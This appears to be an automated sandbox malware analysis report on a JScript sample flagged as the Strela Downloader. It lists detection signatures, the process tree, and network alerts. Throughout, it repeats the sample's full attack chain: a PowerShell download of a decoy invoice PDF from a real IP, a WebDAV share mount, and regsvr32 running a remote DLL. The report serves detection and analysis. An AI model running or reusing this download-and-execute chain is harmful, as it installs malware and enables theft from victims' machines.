Edit tour

Windows Analysis Report
1231561673271419181.js

Overview

General Information

Sample name:	1231561673271419181.js
Analysis ID:	1588611
MD5:	8780a51f4cdd149465b5360bcef8a9a1
SHA1:	06e48cdffda1139c78ddc6b9bfc6b311f46d7533
SHA256:	2ab0a16ca48722913c840268528a97fe963242150cc28c541cf681f64ac84f18
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5496 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5916 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7004 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1352 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1604,i,4207102740180000195,8117244266209756694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6464 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 568 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5496	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7004, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7004, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ProcessId: 5496, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 568, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ProcessId: 5496, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7004, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6464, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 568, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7232, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6464, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 568, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 5916, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:08:29.831939+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49701	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:08:33.184285+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:08:29.831939+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1231561673271419181.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1231561673271419181.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1231561673271419181.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49701 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:08:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 